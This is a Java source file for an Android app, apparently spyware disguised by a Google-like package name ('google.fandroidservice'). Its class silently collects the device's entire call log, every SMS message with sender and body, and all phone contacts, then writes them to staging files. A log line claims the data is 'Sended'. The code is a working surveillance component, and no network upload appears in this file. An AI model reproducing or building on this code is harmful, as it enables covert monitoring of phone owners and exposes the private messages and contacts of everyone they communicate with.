package google.fandroidservice;

import android.Manifest;
import android.content.ContentResolver;
import android.content.Context;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.net.Uri;
import android.os.Build;
import android.provider.CallLog;
import android.provider.ContactsContract;
import android.util.Log;

import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.text.SimpleDateFormat;

import google.fandroidservice.utils.StorageHelper;

public class calllog {

    private Context mContext;


    public void setContext(Context c){
        mContext = c;
    }

    public String getDurationInHourMinutesSeconds(long duration) {
        long minutes;
        long seconds;
        String durata = "";
        long hour = duration / 3600;
        if (hour >= 1) {
            minutes = (duration % 3600) / 60;
        } else {
            minutes = duration / 60;
        }
        if (minutes >= 1) {
            seconds = duration % 60;
        } else {
            seconds = duration;
        }
        durata = String.valueOf(hour) + ":" + String.valueOf(minutes) + ":" + String.valueOf(seconds);
        Log.e("Durata", durata);
        return durata;
    }

    public boolean listCallLog() {
        String[] column = new String[]{"_id", "type", "date", "duration", "number", "name"};
        String vfile = "Log";
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
            if (mContext.checkSelfPermission(Manifest.permission.READ_CALL_LOG) != PackageManager.PERMISSION_GRANTED) {
                // TODO: Consider calling
                //    Activity#requestPermissions
                // here to request the missing permissions, and then overriding
                //   public void onRequestPermissionsResult(int requestCode, String[] permissions,
                //                                          int[] grantResults)
                // to handle the case where the user grants the permission. See the documentation
                // for Activity#requestPermissions for more details.
                return false;
            }
        }
        Cursor cursor = mContext.getContentResolver().query(CallLog.Calls.CONTENT_URI, column, null, null, "date DESC");
        String contatti = "";
        if (cursor.getCount() == 0) {
            return false;
        }
        cursor.moveToFirst();
        do {
            if (cursor.getColumnCount() != 0) {
                int id = cursor.getInt(cursor.getColumnIndex("_id"));
                int type = cursor.getInt(cursor.getColumnIndex("type"));
                long date = cursor.getLong(cursor.getColumnIndex("date"));
                long duration = cursor.getLong(cursor.getColumnIndex("duration"));
                String number = cursor.getString(cursor.getColumnIndex("number"));
                String name = cursor.getString(cursor.getColumnIndex("name"));
                SimpleDateFormat v12 = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
                contatti = contatti + "§§" + String.valueOf(id) + "§§" + String.valueOf(type) + "§§" + v12.format(Long.valueOf(date)) + "§§" + this.getDurationInHourMinutesSeconds(duration) + "§§" + number;
                contatti += name == null || (name.contains("null")) ? "§§" : "§§" + name;
                contatti += "@@";
            }
        } while (cursor.moveToNext());
        try {
            FileOutputStream fileOutputStream = new FileOutputStream(StorageHelper.getCallLogPath(), false);
            fileOutputStream.write(contatti.getBytes());
            fileOutputStream.close();
        } catch (FileNotFoundException e1) {
            e1.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }
        return true;
    }

    public void GetListaSMS() {
        String storage_path = StorageHelper.getSmsPath();
        try {
            Uri uri = Uri.parse("content://sms");
            ContentResolver contentResolver = mContext.getContentResolver();
            FileOutputStream outputStream = new FileOutputStream(storage_path, false);
            Cursor SMSL = contentResolver.query(uri, null, null, null, "date asc");
            while (SMSL.moveToNext()) {
                long dateTimeMillis = SMSL.getLong(SMSL.getColumnIndex("date"));
                Integer id1 = Integer.valueOf(SMSL.getInt(SMSL.getColumnIndex("_id")));
                String body = SMSL.getString(SMSL.getColumnIndex("body"));
                Integer type1 = Integer.valueOf(SMSL.getInt(SMSL.getColumnIndex("type")));
                String address = SMSL.getString(SMSL.getColumnIndex("address"));
                String read = SMSL.getString(SMSL.getColumnIndex("read"));
                outputStream.write(new StringBuilder(new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(Long.valueOf(dateTimeMillis))).append("_").append(id1).append("_").append(body.replace('\'', '\"')).append("_").append(type1).append("_").append(address).append("_").append(read).append("_").append(SMSL.getString(SMSL.getColumnIndex("seen"))).append("§").toString().getBytes());
            }
            SMSL.close();
            outputStream.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public void getAllPhoneContacts() {
        Log.d("START", "Getting all Contacts");
        String contatti = "";
        Uri uri = ContactsContract.CommonDataKinds.Phone.CONTENT_URI;
        Cursor cursor = mContext.getContentResolver().query(uri, new String[]{"data1", "display_name", "_id"}, null, null, "display_name ASC");
        cursor.moveToFirst();
        while (!cursor.isAfterLast()) {
            String contactNumber = cursor.getString(cursor.getColumnIndex("data1"));
            String contactName = cursor.getString(cursor.getColumnIndex("display_name"));
            int phoneContactID = cursor.getInt(cursor.getColumnIndex("_id"));
            contatti = new StringBuilder(contatti).append("§§").append(phoneContactID)
                    .append("§§").append(contactName)
                    .append("§§").append(contactNumber)
                    .append("§§").append("@@").toString();
            cursor.moveToNext();
        }
        cursor.close();
        try {
            FileOutputStream mFileOutputStream = new FileOutputStream(StorageHelper.getContactPath(), false);
            mFileOutputStream.write(contatti.toString().getBytes());
            mFileOutputStream.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
        Log.d("END", "Got all Contacts and Sended it");
    }

}
